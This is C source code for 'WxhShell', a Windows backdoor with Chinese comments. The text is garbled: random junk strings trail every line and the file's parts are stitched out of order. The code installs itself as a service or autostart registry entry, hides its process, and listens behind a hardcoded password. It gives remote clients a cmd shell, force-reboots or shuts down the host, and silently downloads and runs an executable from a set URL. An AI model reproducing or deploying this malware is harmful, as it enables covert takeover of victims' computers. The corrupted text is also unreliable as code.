    } u2HkAPhD  
  // 关机 pAS!;t=n,  
  case 'd': { rQiX7  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); EubR] ckB  
    if(Boot(SHUTDOWN)) SNP.n))   
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); d_9Fc" C~  
    else { PoMkFG6  
    closesocket(wsh); ps0wN%tA  
    ExitThread(0); Q,Tet&in )  
    } ]2G5ng' @  
    break; s vn[c*  
    } {#q']YDe`  
  // 获取shell 4GJ1P2  
  case 's': { 'B}pIx6k~  
    CmdShell(wsh); tf64<j6  
    closesocket(wsh); D|I(2%aC  
    ExitThread(0); kTQ:k }%B  
    break; 7t-j2 n`<  
  } /nXp5g^6(  
  // 退出 &{QB}r  
  case 'x': { &SS"A*xg  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Lm+!/e  
    CloseIt(wsh); 8?] :>  
    break; '$Jt}O  
    } eydVWVN  
  // 离开 ln.kEhQ3B  
  case 'q': { 8D]:>[|E  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); r`u}n  
    closesocket(wsh); rUfW0  
    WSACleanup(); 3{_AzL  
    exit(1); 3WyK!@{  
    break; j&E4|g (  
        } 5@c,iU-L  
  } /^96|  
  } Cus=UzL  
m%V+px  
  // 提示信息 ZCPK{Ru QE  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); bHlG(1uf  
} qG"|,bA  
  } j`Lf/S!}  
}@yvw*c  
  return; +C7 1".i-  
} O%v(~&OSl  
^ )N[x''a  
// shell模块句柄 ^&<~6y}U^  
int CmdShell(SOCKET sock) 47I:o9E  
{ sBuJK'  
STARTUPINFO si; LLmgk"  
ZeroMemory(&si,sizeof(si)); tW5 \Ktjno  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; a:@9GmtV&  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; vy/U""w`  
PROCESS_INFORMATION ProcessInfo; kF'^!Hp  
char cmdline[]="cmd"; #1Mk9sxo  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); EZ #UdK_  
  return 0; Y0BvN`E  
} hM E|=\  
O;[PEV ~  
// 自身启动模式 BEvSX|M>x  
int StartFromService(void) n? "ti  
{ .G+}Kn9!  
typedef struct %Hv$PsSJ  
{ aM 0kV.O  
  DWORD ExitStatus; x6HebIR+  
  DWORD PebBaseAddress; nzy =0Ox[  
  DWORD AffinityMask; LoHWkNZ5:  
  DWORD BasePriority; uuj"Er31  
  ULONG UniqueProcessId; 3DK^S2\zBm  
  ULONG InheritedFromUniqueProcessId; o!mf d}nG  
}   PROCESS_BASIC_INFORMATION; d;S:<]l'  
->wY|7  
PROCNTQSIP NtQueryInformationProcess; ;]fpdu{  
hgj#VY$B  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; F$r8 hj`  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 567ot|cc  
5!#"8|oY  
  HANDLE             hProcess; el!Bi>b9c!  
  PROCESS_BASIC_INFORMATION pbi; w|WZEu:0|  
^a; V-US  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); V$ 38  
  if(NULL == hInst ) return 0; *wt yyP@  
qh$D;t1=  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); {#QFDA  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 2`5(XpYe  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 7tAWPSwf  
*" <tFQ  
  if (!NtQueryInformationProcess) return 0; {N5g52MN  
7~\Dzcfk"P  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); NOyLZa'  
  if(!hProcess) return 0; zq!2);,  
$Fz/&;KX!  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ([|5(Omd\  
+^YV>;  
  CloseHandle(hProcess); _if&a'  
?y<n^`  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); XeDU ,  
if(hProcess==NULL) return 0; 3+A 0O%0*  
R,Zuy( g  
HMODULE hMod; hD<z^j+  
char procName[255]; ?d+B]VYw  
unsigned long cbNeeded; ;YZw{|gsh  
SJU93n"G/  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); n!Y.?mU6  
("/*k  
  CloseHandle(hProcess); $ O}gl Q  
1\YX|  
if(strstr(procName,"services")) return 1; // 以服务启动 v{ C]\8  
 QN_5q5  
  return 0; // 注册表启动 V EY!0PIj  
} @mP@~  
/l(:H  
// 主模块 q,nj|9z V  
int StartWxhshell(LPSTR lpCmdLine) gEKJrAA  
{ }/c.>U  
  SOCKET wsl; P05_\ t  
BOOL val=TRUE; ?Tuh22J{Q  
  int port=0; bDUGzezP<  
  struct sockaddr_in door; s+zb[3}  
7]e]Y>wZap  
  if(wscfg.ws_autoins) Install(); 6/4OFvL1  
"vLqYc4$  
port=atoi(lpCmdLine); nOQ+oqM<  
mf}?z21vD  
if(port<=0) port=wscfg.ws_port; 3tXtt@Yy  
O.rk!&N  
  WSADATA data; v@>hjie  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; P]Gsc  
*\VQ%_wg  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   o\|dm. "f  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 5\|[)~b  
  door.sin_family = AF_INET; DP; B*s4{U  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); \!cqeg*53  
  door.sin_port = htons(port); 8.-PQ  
aF'Ik XG d  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { }$qy_Esl  
closesocket(wsl); =1yUH9\,b  
return 1; BOwkC;Q[  
} ~Ag !wj  
Q]6nW[@j'  
  if(listen(wsl,2) == INVALID_SOCKET) { ?'T>/<(  
closesocket(wsl); $Fr2oSTT)  
return 1; NmB0CbB  
} GQ8I |E  
  Wxhshell(wsl); ;/oMH/,U8  
  WSACleanup(); {qLnwy!i  
Mqc[IAcd]  
return 0; 9!9 Gpi  
f7s]:n*Ih  
} gEi" m5po  
q,:\i+>K*  
// 以NT服务方式启动 9,y&?GLP  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ?R,^prW{  
{ fd+kr#  
DWORD   status = 0; {ReAl_Cm  
  DWORD   specificError = 0xfffffff; |AFF*]e S  
)3)L  
  serviceStatus.dwServiceType     = SERVICE_WIN32; mnil1*-c0  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; W;KHLHp-  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; $wN'mY  
  serviceStatus.dwWin32ExitCode     = 0; d+&V^qLJ  
  serviceStatus.dwServiceSpecificExitCode = 0; m k -" U7;  
  serviceStatus.dwCheckPoint       = 0; v0$6@K;M4G  
  serviceStatus.dwWaitHint       = 0; 9MHb<~F  
ny=CtU!z  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); (Mtc&+n{  
  if (hServiceStatusHandle==0) return;  =_ rn8  
V7lDuiAI  
status = GetLastError(); Rb9Z{Clq>  
  if (status!=NO_ERROR) aaaC8;.  
{ tkuN$Jl  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; u8?ceM^r  
    serviceStatus.dwCheckPoint       = 0; R8],}6,;E}  
    serviceStatus.dwWaitHint       = 0; M/1Q/;0P  
    serviceStatus.dwWin32ExitCode     = status; 4&y_+  
    serviceStatus.dwServiceSpecificExitCode = specificError; L\-T[w),z7  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); q>Q|:g&:  
    return; siD Sm  
  } .5 dZaI)  
@Rx/]wyH  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; K/%aoTO}  
  serviceStatus.dwCheckPoint       = 0; {qx"/;3V  
  serviceStatus.dwWaitHint       = 0; QGLm4 Wl9  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); .IKK.G  
} _&dGo(B  
aB'<#X$x  
// 处理NT服务事件,比如:启动、停止 sL\|y38'  
VOID WINAPI NTServiceHandler(DWORD fdwControl) pnqjAT GU  
{ ;bAy 7  
switch(fdwControl) I) Y$?"  
{ |Zt=8}di  
case SERVICE_CONTROL_STOP: jM7}LV1Ck  
  serviceStatus.dwWin32ExitCode = 0; W B!$qie\  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; (yXVp2k  
  serviceStatus.dwCheckPoint   = 0; f ~Fus  
  serviceStatus.dwWaitHint     = 0; ^)fB "!s  
  { qA"?5j32  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); B' :ZX-Q)  
  } BR0bf5T/  
  return; 9s7B1Pf  
case SERVICE_CONTROL_PAUSE: Pu9.Uwx  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; XkK16aLE  
  break; &[Sw:{&*jv  
case SERVICE_CONTROL_CONTINUE: KX9ZwsC0  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; /4T%&#6s  
  break; <=7p~ i5  
case SERVICE_CONTROL_INTERROGATE: IvO3*{k ,  
  break; ,]cd%w9  
}; D:F!;n9  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); AVcZ.+?  
} 1i>)@{P&BN  
;ib~c,  
// 标准应用程序主函数 KK] >0QAY  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) d9^=#ot  
{ V!Joh5=a  
+'KM~c?]  
// 获取操作系统版本 SjJUhTb  
OsIsNt=GetOsVer(); I+<`}  
GetModuleFileName(NULL,ExeFile,MAX_PATH); FcWu#}.p}  
B[$SA-ZHi  
  // 从命令行安装 Lte\;Se.tu  
  if(strpbrk(lpCmdLine,"iI")) Install(); ';lO[B  
}>OE"#si  
  // 下载执行文件 Hv`Zc*  
if(wscfg.ws_downexe) { '8Gw{&&  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) R -h7c!ko  
  WinExec(wscfg.ws_filenam,SW_HIDE); t*<c+Ixu  
} }YSH8d  
Qy$QOtrv  
if(!OsIsNt) { -[7.VP   
// 如果时win9x,隐藏进程并且设置为注册表启动 p5 [uVRZ  
HideProc(); -!}1{   
StartWxhshell(lpCmdLine); 1u` Z?S(  
} S\X_!|  
else $jzk4V  
  if(StartFromService()) $"UAJ-  
  // 以服务方式启动 H{}6`;W  
  StartServiceCtrlDispatcher(DispatchTable); ]':C~-RV{  
else (%r:PcGMEV  
  // 普通方式启动 u3<])}I'  
  StartWxhshell(lpCmdLine); Z6*RIdD>  
utTek5/  
return 0; |/(5GX,X  
} r;'!qwr  
s=d?}.E$  
j=gbUXv/  
EP8LJzd"  
=========================================== J\{)qJ*jp  
O^<6`ku  
P9'5=e@jB  
<T}#>xHs3  
O:U@m@7  
\vT8 )\  
" ^ ID%pd  
m:^@AR1%d  
#include <stdio.h> Kr#=u~~M  
#include <string.h> 6%'{Cq1DE  
#include <windows.h> mrbIoN==`  
#include <winsock2.h> K)v(Z"  
#include <winsvc.h> :{AN@zC0\  
#include <urlmon.h> hlVP_h"z  
K l4",  
#pragma comment (lib, "Ws2_32.lib") "s*{0'jo  
#pragma comment (lib, "urlmon.lib") !kIw835U  
4v!@9.!vQ  
#define MAX_USER   100 // 最大客户端连接数 6JL 7ut  
#define BUF_SOCK   200 // sock buffer i3~!ofTb  
#define KEY_BUFF   255 // 输入 buffer iIT<{m&`  
"2h#i nS  
#define REBOOT     0   // 重启 lfKknp#B/O  
#define SHUTDOWN   1   // 关机 ZHBwoC#5}  
jab]!eY  
#define DEF_PORT   5000 // 监听端口 X-duG*~  
H{V-C_  
#define REG_LEN     16   // 注册表键长度 e,x@?L*  
#define SVC_LEN     80   // NT服务名长度 o O|^ [b#  
Q,4F=b  
// 从dll定义API m=K XMX  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ^w HMKC  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); .SsIU\[)  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); f^]AyU;F:  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); kj8zWG4KH  
`SG70/  
// wxhshell配置信息 5FzRusNiA  
struct WSCFG { 9@j~1G%^  
  int ws_port;         // 监听端口 <V, ?!}V  
  char ws_passstr[REG_LEN]; // 口令 l&rDa=m.J  
  int ws_autoins;       // 安装标记, 1=yes 0=no [0}471  
  char ws_regname[REG_LEN]; // 注册表键名 :X!(^ a;]  
  char ws_svcname[REG_LEN]; // 服务名 b^xf ,`D  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ~ U1iB  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 SN+Bmdup  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 W@G[ gS\T  
int ws_downexe;       // 下载执行标记, 1=yes 0=no i~,k2*o  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Zu$f[U)X  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 )FP|}DCxQ  
0L1P'*LRU  
}; %pt $S~j  
Q\oUZnD$=  
// default Wxhshell configuration }}2 kA  
struct WSCFG wscfg={DEF_PORT, pFK |4u  
    "xuhuanlingzhe", (kHR$8GFM  
    1, j@ "`!uPz  
    "Wxhshell", RpXQi*c0  
    "Wxhshell", l=oVC6C  
            "WxhShell Service", x B?:G  
    "Wrsky Windows CmdShell Service", -r2cK{Hhp&  
    "Please Input Your Password: ", </%H'V@  
  1, ? vlGr5#  
  "http://www.wrsky.com/wxhshell.exe", QA3l:D}u  
  "Wxhshell.exe" WNx^Rg" >'  
    }; ZChY:I$<  
e!8_3BE  
// 消息定义模块 R*y[/Aw  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; .~8+s.y  
char *msg_ws_prompt="\n\r? for help\n\r#>"; :+5afv}  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; gv,T<A?Z2  
char *msg_ws_ext="\n\rExit."; 4Rm3'Ch  
char *msg_ws_end="\n\rQuit."; g IKm  
char *msg_ws_boot="\n\rReboot..."; H>] z=w~  
char *msg_ws_poff="\n\rShutdown..."; Pjy?&;GvT  
char *msg_ws_down="\n\rSave to "; Mz^s^aJEE  
|:?.-tq  
char *msg_ws_err="\n\rErr!"; o ,!"E^  
char *msg_ws_ok="\n\rOK!"; YfalsQ8  
q!TbM"  
char ExeFile[MAX_PATH]; =4 D_-Q  
int nUser = 0; $P-m6  
HANDLE handles[MAX_USER]; Jv<)/Km`  
int OsIsNt; Id*^H:]C#  
>(CoXSV5  
SERVICE_STATUS       serviceStatus; vz:0"y  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; g?VME]:  
qIT{`hX  
// 函数声明 kziBHis!  
int Install(void); a(~Yr A%~  
int Uninstall(void); u s0'7|{q  
int DownloadFile(char *sURL, SOCKET wsh); =tNiIU  
int Boot(int flag); Tc(R-Wi  
void HideProc(void); VB\6S G  
int GetOsVer(void); 9c^EoYpy-  
int Wxhshell(SOCKET wsl); "{k )nr+7U  
void TalkWithClient(void *cs); $iPN5@F  
int CmdShell(SOCKET sock); *\WI!%  
int StartFromService(void); ZX;k*OrW  
int StartWxhshell(LPSTR lpCmdLine); }^<zVdwp  
FNM"!z  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); _PbfFY #  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Mh|`XO.5I  
w3N%J>4_E  
// 数据结构和表定义 DRoxw24  
SERVICE_TABLE_ENTRY DispatchTable[] = iq:[+  
{ \i+h P1 mz  
{wscfg.ws_svcname, NTServiceMain}, ,m?D\Pru  
{NULL, NULL} b1u'ukDP\  
}; F"H!CJJu&  
DG\YZV4  
// 自我安装 Uq.~3V+u  
int Install(void) N]}+F w\5  
{ 5ecz'eA%  
  char svExeFile[MAX_PATH]; }tZAU\z  
  HKEY key; a~7osRmp0  
  strcpy(svExeFile,ExeFile); 1.H!A@  
RG3G},Q   
// 如果是win9x系统,修改注册表设为自启动 Q $0%~`t  
if(!OsIsNt) { %m) h1/l  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { )JQQ4D  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));  {Yk20Zn  
  RegCloseKey(key); mv?H]i`N  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { y7-:l u$9  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); J\+gd%  
  RegCloseKey(key); b6Hk20+B;  
  return 0; B9DxV>mr\r  
    } ;cn.s,  
  } GKhwn&qCKb  
} \,gZNe&Vv  
else { -!>ZATL<B  
bMZn7c  
// 如果是NT以上系统,安装为系统服务 g <4M!gi  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Sc$wR{W<:  
if (schSCManager!=0) i{ @'\}{L  
{ +i#sS19h  
  SC_HANDLE schService = CreateService '?gI cWM  
  ( w%dIe!sV  
  schSCManager, K!K"}%/_  
  wscfg.ws_svcname, XHM"agrhSQ  
  wscfg.ws_svcdisp, ].P(/~FS9  
  SERVICE_ALL_ACCESS, }l?_Cfvu  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , U<Y'.!  
  SERVICE_AUTO_START, W7=_u+0d  
  SERVICE_ERROR_NORMAL, \y`3LhY  
  svExeFile, YIQ]]q8R!L  
  NULL, z~e~K`S  
  NULL, R(83E B~_  
  NULL, nvK7*-  
  NULL, <`_OpNxqW  
  NULL niEEm`"  
  ); fKz"z{\,0  
  if (schService!=0) {kl{mJ*  
  { w1#jVcUQ  
  CloseServiceHandle(schService); kr`BUW3  
  CloseServiceHandle(schSCManager); ';\gR/L  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); <GgtP55  
  strcat(svExeFile,wscfg.ws_svcname); u?3NBc$~A  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { AJ` v  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); AV 5\W}  
  RegCloseKey(key); O;e8ft '|  
  return 0; AOx3QgC^NO  
    } FT/5 _1i  
  } j$8|ym^OX  
  CloseServiceHandle(schSCManager); hAr[atu87  
} !8@rK$DB  
} I,<54? vS  
<S8W~ wC  
return 1; o+_/)c  
} iQzX-a|4]  
T[XP\!z]B!  
// 自我卸载 \_Kt6=  
int Uninstall(void) ?hJsN  
{ uWB:"&!^  
  HKEY key; T E&Q6  
vMX6Bg8  
if(!OsIsNt) { dHq )vs,L  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { e9`uD|KAS|  
  RegDeleteValue(key,wscfg.ws_regname); wvmg)4,  
  RegCloseKey(key); 3hXmYz(  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { b;J0'o^G|  
  RegDeleteValue(key,wscfg.ws_regname); .)@tXH=}+  
  RegCloseKey(key); n*m"L|:ff  
  return 0; }K/}(zuy1Y  
  } TjUZv1(L  
} a][pTC\rb  
} W-!Bl&jF[  
else { ;*-@OLT_K  
45)ogg2  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); E/7vIg F  
if (schSCManager!=0) qbU1qF/  
{ j[/SXF\=  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ]opW; |{e  
  if (schService!=0) !0OD(XT  
  { Cl9SPz  
  if(DeleteService(schService)!=0) { RZ|HwYG  
  CloseServiceHandle(schService); g{ v5mly  
  CloseServiceHandle(schSCManager); `  -[Bo  
  return 0; C^,4`OI  
  } &V#zkW  
  CloseServiceHandle(schService); {yHB2=nI  
  } 0^&(u:~  
  CloseServiceHandle(schSCManager); RO%tuU,-  
} K=c=/`E  
} c8-69hb?  
OY^n0Zof,  
return 1; -eR!qy:.]5  
} DrCWvpudd  
:otY;n-  
// 从指定url下载文件 +f X}O9  
int DownloadFile(char *sURL, SOCKET wsh) H-_^TB  
{ D/S>w(=  
  HRESULT hr; M9Nk=s! 3  
char seps[]= "/"; qIDWl{b<  
char *token; hY.e[+  
char *file; jSie&V@px  
char myURL[MAX_PATH]; ^Y{6;FJ  
char myFILE[MAX_PATH]; xTJ Sr2f  
#a(%(k S  
strcpy(myURL,sURL); M<A;IOpR+  
  token=strtok(myURL,seps); `J>E9p<  
  while(token!=NULL) '&-5CpDUs  
  { < QDr,Hj  
    file=token; \!UF|mD^tG  
  token=strtok(NULL,seps); jr, &=C(  
  } DJViy  
"ep`  
GetCurrentDirectory(MAX_PATH,myFILE); ASKAgU"h  
strcat(myFILE, "\\"); .'^6QST  
strcat(myFILE, file); YPha9M$AgU  
  send(wsh,myFILE,strlen(myFILE),0); K0 O-WJ  
send(wsh,"...",3,0); ]pOYVf *$  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); C#U< k0R  
  if(hr==S_OK) z^gQ\\,4  
return 0; `1fJ:b/M  
else H.YIv50E  
return 1; 4|> rwQ~t  
p^KlH=1n.6  
} Rwc[:6;fn  
I&TTr7  
// 系统电源模块 "x#]i aDjf  
int Boot(int flag) L_THU4^j  
{ mL:m;>JJ n  
  HANDLE hToken; DKy >]Hca  
  TOKEN_PRIVILEGES tkp; ~\IF9!  
T-a&e9B  
  if(OsIsNt) { Vs_\ykO  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); r6d0x  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); k4qLB1&,  
    tkp.PrivilegeCount = 1; z5XYpi_;[  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; _M8G3QOx  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); :3KO6/+  
if(flag==REBOOT) { 3]O`[P,*%  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) IL~]m?'V(  
  return 0; 5^/,aI  
} E4sn[DO  
else { J)9 AnGWe  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) "/ tUA\=j  
  return 0; wGEWr2$  
} CfPXn0I  
  } V";mWws+?#  
  else { K#qoR/:  
if(flag==REBOOT) { &`9j)3^J.  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) e >L5.~i  
  return 0; z.eJEK  
} ![*:.CW  
else { 8weSrm  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 0JmFQ ^g(  
  return 0; c3=-Mq9Q  
} ,>D ja59  
} _1I K$gb[  
@%6)^]m}r  
return 1; 't +"k8  
} r_b8,I6{]  
r5t;'eCe a  
// win9x进程隐藏模块 _*O7l  
void HideProc(void) =nJ{$%L\x,  
{ <+V-k|  
89hF )80  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 2dHM  
  if ( hKernel != NULL ) 3>RcWy;1i  
  { GwcI0~5  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); p86~~rvq[  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); R'rTE  
    FreeLibrary(hKernel); >%-Hj6%  
  } ,"~WkLI~\t  
TQ; Z.)L  
return; "yg.hK`  
} *8z"^7?^=  
$aB /+,  
// 获取操作系统版本 P+[QI U  
int GetOsVer(void) TqIAWbb&  
{ d; 9*l!CF  
  OSVERSIONINFO winfo; iJFr4o/R  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); hT?6sWa  
  GetVersionEx(&winfo); lc]V\ 'e  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) z)}3**3'y  
  return 1; j7K5SS_]  
  else \ jE CSV|  
  return 0; ToV6lS"  
} 4w 'lu"U  
`,+#!)  
// 客户端句柄模块 GxxDY]!  
int Wxhshell(SOCKET wsl) ~|h lE z  
{ b`$yqi<[  
  SOCKET wsh; lK0s=4c{  
  struct sockaddr_in client; d:A}CBTSY  
  DWORD myID; e|yX QTlvL  
J0=7'@(p  
  while(nUser<MAX_USER) |~z3U>  
{ Odm#wL~E  
  int nSize=sizeof(client); xdPcsox~  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); YQ; cJ$  
  if(wsh==INVALID_SOCKET) return 1; N1%p"(  
JjQ8|En  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); T'E ] i!$  
if(handles[nUser]==0) 2+z1h^)W  
  closesocket(wsh); )B6# A0  
else 1!vPc93 $$  
  nUser++; UH[<&v  
  } uKv&7p@|_)  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); aR _NyA  
qP7G[%=v  
  return 0; nTPB,QE<  
} FKC\VF  
Pg`JQC|  
// 关闭 socket 9CB\n  
void CloseIt(SOCKET wsh) ;+sl7qlA4  
{ xOythvO  
closesocket(wsh); t-WjL@$F/  
nUser--; -OrR $w|e  
ExitThread(0); o]<jZ_|gB  
} WSRy%#  
n0Go p^3  
// 客户端请求句柄 G8eD7%{b:)  
void TalkWithClient(void *cs) e&0K;yU  
{ ?OE#q$g  
um7o!yg,  
  SOCKET wsh=(SOCKET)cs; r4u z} jl{  
  char pwd[SVC_LEN]; X1oGp+&  
  char cmd[KEY_BUFF]; n#4Gv|{XMD  
char chr[1]; I.1D*!tz  
int i,j; w]nX?S8  
.oEbEs  
  while (nUser < MAX_USER) { w d/G|kNO  
m[spn@SF  
if(wscfg.ws_passstr) { #n3ykzoqIX  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); dy<27=  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); >.e+S?o  
  //ZeroMemory(pwd,KEY_BUFF); PnA?+u2m  
      i=0; 8u>gbdU  
  while(i<SVC_LEN) { dy2rkV.z  
; DDe.f"  
  // 设置超时 Q8q@Y R#  
  fd_set FdRead; eZH~je{1  
  struct timeval TimeOut;  x0A7O  
  FD_ZERO(&FdRead); D^+?|Y@N  
  FD_SET(wsh,&FdRead); <*<U!J-i  
  TimeOut.tv_sec=8; z}+i=cAN  
  TimeOut.tv_usec=0; ]!Oue_-;  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); )u*^@Wo  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); GKZN}bOm\  
*)'Vvu<  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); [k$efwJ  
  pwd=chr[0]; =xL)$DTg)  
  if(chr[0]==0xd || chr[0]==0xa) { _7"5wB?|+  
  pwd=0; /aYpIMi9}  
  break; RF?DtNuq  
  } L&kr{7q  
  i++;  Qqc]aVRF  
    } O-#TZ   
^2S# Uk  
  // 如果是非法用户,关闭 socket RNWX.g)b  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ?qmp_2:WU  
} _'!kuE,*1  
GS;%zdH~  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); e)@3m.  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); j+kC-U;  
7C7>y/uS  
while(1) { 7O)" `  
#H~_K}Ks  
  ZeroMemory(cmd,KEY_BUFF); \S ."?!U  
P|xG\3@Z  
      // 自动支持客户端 telnet标准   O)]v;9oER  
  j=0; UV AJxqz%}  
  while(j<KEY_BUFF) { /[=E0_t+  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); I[d]!YI}F  
  cmd[j]=chr[0]; I4=Xb^Ux  
  if(chr[0]==0xa || chr[0]==0xd) { =rFN1M/n{E  
  cmd[j]=0;  |yKud  
  break;  &;c>O  
  } 1/;o  
  j++; vWjnI*6T#  
    } X%}nFgqQ  
^zr^ N?a  
  // 下载文件 `VT>M@i/  
  if(strstr(cmd,"http://")) { tU@zhGb  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); "35A/V  
  if(DownloadFile(cmd,wsh)) -tLO.JK<  
